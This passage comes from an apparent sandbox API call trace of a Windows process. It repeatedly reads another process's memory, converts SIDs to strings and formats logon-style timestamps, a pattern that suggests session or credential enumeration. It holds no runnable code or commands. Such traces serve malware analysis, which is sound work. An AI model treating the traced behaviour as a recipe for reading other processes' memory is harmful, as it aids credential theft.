hProcess=0x118, lpBaseAddress=0x396cf0, lpBuffer=0x12fc90, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc90*, lpNumberOfBytesRead=0x0) returned 1 [0062.609] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x42a230, lpBuffer=0x12fc50, nSize=0x10, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc50*, lpNumberOfBytesRead=0x0) returned 1 [0062.609] LocalAlloc (uFlags=0x40, uBytes=0xd0) returned 0x1e10d0 [0062.609] LocalFree (hMem=0x1e10d0) returned 0x0 [0062.609] LocalFree (hMem=0x1eb440) returned 0x0 [0062.609] LocalFree (hMem=0x1d0420) returned 0x0 [0062.609] LocalFree (hMem=0x1d0400) returned 0x0 [0062.609] LocalFree (hMem=0x1ee310) returned 0x0 [0062.609] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x402590, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.609] LocalAlloc (uFlags=0x40, uBytes=0x1c) returned 0x1ee310 [0062.609] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3f31b0, lpBuffer=0x1ee310, nSize=0x1c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ee310*, lpNumberOfBytesRead=0x0) returned 1 [0062.609] LocalAlloc (uFlags=0x40, uBytes=0x1a) returned 0x1ee3a0 [0062.609] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3f3210, lpBuffer=0x1ee3a0, nSize=0x1a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ee3a0*, lpNumberOfBytesRead=0x0) returned 1 [0062.609] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3e66e1, lpBuffer=0x12fd20, nSize=0x1, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fd20*, lpNumberOfBytesRead=0x0) returned 1 [0062.609] LocalAlloc (uFlags=0x40, uBytes=0xc) returned 0x1d0400 [0062.609] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3e66e0, lpBuffer=0x1d0400, nSize=0xc, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.609] FileTimeToLocalFileTime (in: lpFileTime=0x12fdc8, lpLocalFileTime=0x12fc98 | out: lpLocalFileTime=0x12fc98) returned 1 [0062.609] FileTimeToSystemTime (in: lpFileTime=0x12fc98, lpSystemTime=0x12fa40 | out: lpSystemTime=0x12fa40) returned 1 [0062.609] GetDateFormatW (in: Locale=0x400, dwFlags=0x0, lpDate=0x12fa40, lpFormat=0x0, lpDateStr=0x12fa50, cchDate=255 | out: lpDateStr="1/8/2020") returned 9 [0062.609] GetTimeFormatW (in: Locale=0x400, dwFlags=0x0, lpTime=0x12fa40, lpFormat=0x0, lpTimeStr=0x12fa50, cchTime=255 | out: lpTimeStr="8:59:27 PM") returned 11 [0062.609] ConvertSidToStringSidW () returned 0x1 [0062.609] LocalFree (hMem=0x1d0440) returned 0x0 [0062.609] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc674b00, lpBuffer=0x12fbc0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.609] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3e6000, lpBuffer=0x12fb00, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fb00*, lpNumberOfBytesRead=0x0) returned 1 [0062.609] LocalAlloc (uFlags=0x40, uBytes=0x74) returned 0x1c1a60 [0062.609] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x410a80, lpBuffer=0x1c1a60, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1c1a60*, lpNumberOfBytesRead=0x0) returned 1 [0062.610] LocalFree (hMem=0x1c1a60) returned 0x0 [0062.610] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3e60a0, lpBuffer=0x12fa40, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa40*, lpNumberOfBytesRead=0x0) returned 1 [0062.610] LocalAlloc (uFlags=0x40, uBytes=0x74) returned 0x1c1a60 [0062.610] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x4109d0, lpBuffer=0x1c1a60, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1c1a60*, lpNumberOfBytesRead=0x0) returned 1 [0062.610] LocalFree (hMem=0x1c1a60) returned 0x0 [0062.610] LocalAlloc (uFlags=0x40, uBytes=0x28) returned 0x1ee3d0 [0062.610] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc7012c0, lpBuffer=0x12fc98, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc98*, lpNumberOfBytesRead=0x0) returned 1 [0062.610] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3c7300, lpBuffer=0x1ee3d0, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ee3d0*, lpNumberOfBytesRead=0x0) returned 1 [0062.610] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3c7150, lpBuffer=0x1ee3d0, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ee3d0*, lpNumberOfBytesRead=0x0) returned 1 [0062.610] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3c6e80, lpBuffer=0x1ee3d0, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ee3d0*, lpNumberOfBytesRead=0x0) returned 1 [0062.610] LocalFree (hMem=0x1ee3d0) returned 0x0 [0062.610] LocalAlloc (uFlags=0x40, uBytes=0x60) returned 0x1c9050 [0062.610] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3c6e80, lpBuffer=0x1c9050, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1c9050*, lpNumberOfBytesRead=0x0) returned 1 [0062.610] ConvertSidToStringSidW () returned 0x1 [0062.610] LocalAlloc (uFlags=0x40, uBytes=0x2) returned 0x1eded0 [0062.610] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3a94e0, lpBuffer=0x1eded0, nSize=0x2, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eded0*, lpNumberOfBytesRead=0x0) returned 1 [0062.610] IsTextUnicode (in: lpv=0x1eded0, iSize=0, lpiResult=0x12fa00 | out: lpiResult=0x12fa00) returned 0 [0062.610] LocalAlloc (uFlags=0x40, uBytes=0x2) returned 0x1ef730 [0062.610] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3a94d0, lpBuffer=0x1ef730, nSize=0x2, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ef730*, lpNumberOfBytesRead=0x0) returned 1 [0062.610] IsTextUnicode (in: lpv=0x1ef730, iSize=0, lpiResult=0x12fa00 | out: lpiResult=0x12fa00) returned 0 [0062.610] LocalFree (hMem=0x1d0420) returned 0x0 [0062.610] LocalFree (hMem=0x1c9050) returned 0x0 [0062.611] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefca42840, lpBuffer=0x12fba0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fba0*, lpNumberOfBytesRead=0x0) returned 1 [0062.611] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3e4590, lpBuffer=0x12fae0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fae0*, lpNumberOfBytesRead=0x0) returned 1 [0062.611] LocalAlloc (uFlags=0x40, uBytes=0x48) returned 0x1ef780 [0062.611] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x407610, lpBuffer=0x1ef780, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ef780*, lpNumberOfBytesRead=0x0) returned 1 [0062.611] LocalFree (hMem=0x1ef780) returned 0x0 [0062.611] LocalAlloc (uFlags=0x40, uBytes=0x138) returned 0x1e10d0 [0062.611] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x407610, lpBuffer=0x1e10d0, nSize=0x138, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1e10d0*, lpNumberOfBytesRead=0x0) returned 1 [0062.611] ConvertSidToStringSidW () returned 0x1 [0062.611] LocalAlloc (uFlags=0x40, uBytes=0x2) returned 0x1ec530 [0062.611] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3a94f0, lpBuffer=0x1ec530, nSize=0x2, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ec530*, lpNumberOfBytesRead=0x0) returned 1 [0062.611] IsTextUnicode (in: lpv=0x1ec530, iSize=0, lpiResult=0x12f920 | out: lpiResult=0x12f920) returned 0 [0062.611] LocalAlloc (uFlags=0x40, uBytes=0x2) returned 0x1ef580 [0062.611] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3a9500, lpBuffer=0x1ef580, nSize=0x2, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ef580*, lpNumberOfBytesRead=0x0) returned 1 [0062.611] IsTextUnicode (in: lpv=0x1ef580, iSize=0, lpiResult=0x12f920 | out: lpiResult=0x12f920) returned 0 [0062.611] LocalFree (hMem=0x1d0440) returned 0x0 [0062.611] LocalFree (hMem=0x1e10d0) returned 0x0 [0062.611] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc8f78d0, lpBuffer=0x12fc80, nSize=0x10, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.611] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x4199c0, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.611] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x419f70, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.611] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x419d00, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.611] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x419b60, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.611] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x419750, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.612] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x419340, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.612] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x4190d0, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.612] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x406b90, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.612] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3a3470, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.612] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3ba190, lpBuffer=0x12fc90, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc90*, lpNumberOfBytesRead=0x0) returned 1 [0062.612] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x407180, lpBuffer=0x12fc50, nSize=0x10, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc50*, lpNumberOfBytesRead=0x0) returned 1 [0062.612] LocalAlloc (uFlags=0x40, uBytes=0xd0) returned 0x1e10d0 [0062.612] LocalFree (hMem=0x1e10d0) returned 0x0 [0062.612] LocalFree (hMem=0x1ee310) returned 0x0 [0062.612] LocalFree (hMem=0x1ee3a0) returned 0x0 [0062.612] LocalFree (hMem=0x1d0400) returned 0x0 [0062.612] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3fa640, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.612] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x1d0400 [0062.612] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3e64c0, lpBuffer=0x1d0400, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.612] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x1d0440 [0062.612] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3e64e0, lpBuffer=0x1d0440, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0440*, lpNumberOfBytesRead=0x0) returned 1 [0062.612] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3e6501, lpBuffer=0x12fd20, nSize=0x1, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fd20*, lpNumberOfBytesRead=0x0) returned 1 [0062.612] LocalAlloc (uFlags=0x40, uBytes=0xc) returned 0x1d0420 [0062.612] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3e6500, lpBuffer=0x1d0420, nSize=0xc, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0420*, lpNumberOfBytesRead=0x0) returned 1 [0062.612] FileTimeToLocalFileTime (in: lpFileTime=0x12fdc8, lpLocalFileTime=0x12fc98 | out: lpLocalFileTime=0x12fc98) returned 1 [0062.612] FileTimeToSystemTime (in: lpFileTime=0x12fc98, lpSystemTime=0x12fa40 | out: lpSystemTime=0x12fa40) returned 1 [0062.613] GetDateFormatW (in: Locale=0x400, dwFlags=0x0, lpDate=0x12fa40, lpFormat=0x0, lpDateStr=0x12fa50, cchDate=255 | out: lpDateStr="1/8/2020") returned 9 [0062.613] GetTimeFormatW (in: Locale=0x400, dwFlags=0x0, lpTime=0x12fa40, lpFormat=0x0, lpTimeStr=0x12fa50, cchTime=255 | out: lpTimeStr="8:59:27 PM") returned 11 [0062.613] ConvertSidToStringSidW () returned 0x1 [0062.613] LocalFree (hMem=0x1d0480) returned 0x0 [0062.613] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc674b00, lpBuffer=0x12fbc0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.613] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3e6000, lpBuffer=0x12fb00, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fb00*, lpNumberOfBytesRead=0x0) returned 1 [0062.613] LocalAlloc (uFlags=0x40, uBytes=0x74) returned 0x1c1a60 [0062.613] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x410a80, lpBuffer=0x1c1a60, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1c1a60*, lpNumberOfBytesRead=0x0) returned 1 [0062.613] LocalFree (hMem=0x1c1a60) returned 0x0 [0062.613] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3e60a0, lpBuffer=0x12fa40, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa40*, lpNumberOfBytesRead=0x0) returned 1 [0062.613] LocalAlloc (uFlags=0x40, uBytes=0x74) returned 0x1c1a60 [0062.613] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x4109d0, lpBuffer=0x1c1a60, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1c1a60*, lpNumberOfBytesRead=0x0) returned 1 [0062.613] LocalFree (hMem=0x1c1a60) returned 0x0 [0062.613] LocalAlloc (uFlags=0x40, uBytes=0x28) returned 0x1ee3a0 [0062.613] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc7012c0, lpBuffer=0x12fc98, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc98*, lpNumberOfBytesRead=0x0) returned 1 [0062.613] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3c7300, lpBuffer=0x1ee3a0, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ee3a0*, lpNumberOfBytesRead=0x0) returned 1 [0062.613] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3c7150, lpBuffer=0x1ee3a0, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ee3a0*, lpNumberOfBytesRead=0x0) returned 1 [0062.613] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3c6e80, lpBuffer=0x1ee3a0, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ee3a0*, lpNumberOfBytesRead=0x0) returned 1 [0062.613] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3f0c60, lpBuffer=0x1ee3a0, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ee3a0*, lpNumberOfBytesRead=0x0) returned 1 [0062.613] LocalFree (hMem=0x1ee3a0) returned 0x0 [0062.613] LocalAlloc (uFlags=0x40, uBytes=0x60) returned 0x1c9050 [0062.613] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3f0c60, lpBuffer=0x1c9050, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1c9050*, lpNumberOfBytesRead=0x0) returned 1 [0062.614] ConvertSidToStringSidW () returned 0x1 [0062.614] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x1d0480 [0062.614] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3e6560, lpBuffer=0x1d0480, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0480*, lpNumberOfBytesRead=0x0) returned 1 [0062.614] IsTextUnicode (in: lpv=0x1d0480, iSize=20, lpiResult=0x12fa00 | out: lpiResult=0x12fa00) returned 1 [0062.614] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x1d04a0 [0062.614] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3e6540, lpBuffer=0x1d04a0, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d04a0*, lpNumberOfBytesRead=0x0) returned 1 [0062.614] IsTextUnicode (in: lpv=0x1d04a0, iSize=18, lpiResult=0x12fa00 | out: lpiResult=0x12fa00) returned 1 [0062.614] LocalFree (hMem=0x1d0480) returned 0x0 [0062.614] LocalFree (hMem=0x1d04a0) returned 0x0 [0062.614] LocalFree (hMem=0x1d0460) returned 0x0 [0062.614] LocalFree (hMem=0x1c9050) returned 0x0 [0062.614] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefca42840, lpBuffer=0x12fba0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fba0*, lpNumberOfBytesRead=0x0) returned 1 [0062.614] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3e4590, lpBuffer=0x12fae0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fae0*, lpNumberOfBytesRead=0x0) returned 1 [0062.614] LocalAlloc (uFlags=0x40, uBytes=0x48) returned 0x1ef780 [0062.614] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x407610, lpBuffer=0x1ef780, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ef780*, lpNumberOfBytesRead=0x0) returned 1 [0062.614] LocalFree (hMem=0x1ef780) returned 0x0 [0062.614] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3e9350, lpBuffer=0x12fa20, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa20*, lpNumberOfBytesRead=0x0) returned 1 [0062.614] LocalAlloc (uFlags=0x40, uBytes=0x48) returned 0x1ef780 [0062.614] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3f8410, lpBuffer=0x1ef780, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ef780*, lpNumberOfBytesRead=0x0) returned 1 [0062.614] LocalFree (hMem=0x1ef780) returned 0x0 [0062.614] LocalAlloc (uFlags=0x40, uBytes=0x138) returned 0x1e10d0 [0062.614] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3f8410, lpBuffer=0x1e10d0, nSize=0x138, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1e10d0*, lpNumberOfBytesRead=0x0) returned 1 [0062.614] ConvertSidToStringSidW () returned 0x1 [0062.614] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x1d0460 [0062.614] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3e6580, lpBuffer=0x1d0460, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0460*, lpNumberOfBytesRead=0x0) returned 1 [0062.614] IsTextUnicode (in: lpv=0x1d0460, iSize=20, lpiResult=0x12f920 | out: lpiResult=0x12f920) returned 1 [0062.615] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x1d0480 [0062.615] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3e65a0, lpBuffer=0x1d0480, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0480*, lpNumberOfBytesRead=0x0) returned 1 [0062.615] IsTextUnicode (in: lpv=0x1d0480, iSize=18, lpiResult=0x12f920 | out: lpiResult=0x12f920) returned 1 [0062.615] LocalFree (hMem=0x1d0460) returned 0x0 [0062.615] LocalFree (hMem=0x1d0480) returned 0x0 [0062.615] LocalFree (hMem=0x1d04a0) returned 0x0 [0062.615] LocalFree (hMem=0x1e10d0) returned 0x0 [0062.615] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc8f78d0, lpBuffer=0x12fc80, nSize=0x10, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.615] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x4199c0, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.615] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x419f70, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.615] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x419d00, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.615] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x419b60, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.615] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x419750, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.615] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x419340, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.615] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x4190d0, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.615] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x406b90, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.615] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3a3470, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.615] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3b9fd0, lpBuffer=0x12fc90, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc90*, lpNumberOfBytesRead=0x0) returned 1 [0062.615] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3faac0, lpBuffer=0x12fc50, nSize=0x10, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc50*, lpNumberOfBytesRead=0x0) returned 1 [0062.616] LocalAlloc (uFlags=0x40, uBytes=0xd0) returned 0x1e10d0 [0062.616] LocalFree (hMem=0x1e10d0) returned 0x0 [0062.616] LocalFree (hMem=0x1d0400) returned 0x0 [0062.616] LocalFree (hMem=0x1d0440) returned 0x0 [0062.616] LocalFree (hMem=0x1d0420) returned 0x0 [0062.616] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3af590, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.616] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x1, lpBuffer=0x12fd20, nSize=0x1, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fd20, lpNumberOfBytesRead=0x0) returned 0 [0062.616] FileTimeToLocalFileTime (in: lpFileTime=0x12fdc8, lpLocalFileTime=0x12fc98 | out: lpLocalFileTime=0x12fc98) returned 1 [0062.616] FileTimeToSystemTime (in: lpFileTime=0x12fc98, lpSystemTime=0x12fa40 | out: lpSystemTime=0x12fa40) returned 1 [0062.616] GetDateFormatW (in: Locale=0x400, dwFlags=0x0, lpDate=0x12fa40, lpFormat=0x0, lpDateStr=0x12fa50, cchDate=255 | out: lpDateStr="1/8/2020") returned 9 [0062.616] GetTimeFormatW (in: Locale=0x400, dwFlags=0x0, lpTime=0x12fa40, lpFormat=0x0, lpTimeStr=0x12fa50, cchTime=255 | out: lpTimeStr="8:59:26 PM") returned 11 [0062.616] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc674b00, lpBuffer=0x12fbc0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.616] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3e6000, lpBuffer=0x12fb00, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fb00*, lpNumberOfBytesRead=0x0) returned 1 [0062.616] LocalAlloc (uFlags=0x40, uBytes=0x74) returned 0x1c1a60 [0062.616] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x410a80, lpBuffer=0x1c1a60, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1c1a60*, lpNumberOfBytesRead=0x0) returned 1 [0062.616] LocalFree (hMem=0x1c1a60) returned 0x0 [0062.616] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3e60a0, lpBuffer=0x12fa40, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa40*, lpNumberOfBytesRead=0x0) returned 1 [0062.616] LocalAlloc (uFlags=0x40, uBytes=0x74) returned 0x1c1a60 [0062.617] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x4109d0, lpBuffer=0x1c1a60, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1c1a60*, lpNumberOfBytesRead=0x0) returned 1 [0062.617] LocalFree (hMem=0x1c1a60) returned 0x0 [0062.617] LocalAlloc (uFlags=0x40, uBytes=0x28) returned 0x1ee3a0 [0062.617] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc7012c0, lpBuffer=0x12fc98, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc98*, lpNumberOfBytesRead=0x0) returned 1 [0062.617] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3c7300, lpBuffer=0x1ee3a0, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ee3a0*, lpNumberOfBytesRead=0x0) returned 1 [0062.617] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3c7150, lpBuffer=0x1ee3a0, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ee3a0*, lpNumberOfBytesRead=0x0) returned 1 [0062.617] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3c6e80, lpBuffer=0x1ee3a0, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ee3a0*, lpNumberOfBytesRead=0x0) returned 1 [0062.617] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3f0c60, lpBuffer=0x1ee3a0, nSize=0x28, lpNumberOfBytesRead=0x0 | out: 